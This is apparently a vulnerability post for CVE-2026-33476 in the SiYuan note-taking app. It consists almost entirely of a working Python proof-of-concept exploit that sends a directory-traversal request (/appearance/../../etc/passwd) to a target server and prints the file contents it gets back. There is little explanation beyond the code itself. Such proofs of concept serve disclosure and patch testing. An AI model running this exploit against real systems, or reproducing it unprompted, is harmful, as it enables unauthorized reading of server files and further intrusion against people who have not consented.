CVE-2026-33476 SiYuan笔记目录遍历漏洞

import requests def exploit_poc(target_url): """ PoC for CVE-2026-33476: SiYuan Directory Traversal Attempts to read /etc/passwd from the target server. """ # The vulnerable endpoint is /appearance/*filepath # Using ../ to traverse back to the root directory traversal_payload = "/appearance/../../etc/passwd" full_url = f"{target_url.rstrip('/')}{traversal_payload}" headers = { "User-Agent": "CVE-2026-33476-Scanner" } try: print(f"[+] Sending request to: {full_url}") response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Server responded with 200 OK.") print("[+] File content snippet:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Request failed with status code: {response.status_code}") if response.status_code == 404: print("[-] File not found or patch applied.") elif response.status_code == 401 or response.status_code == 403: print("[-] Authentication required or access denied (Patch may be applied).") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:6806" exploit_poc(target)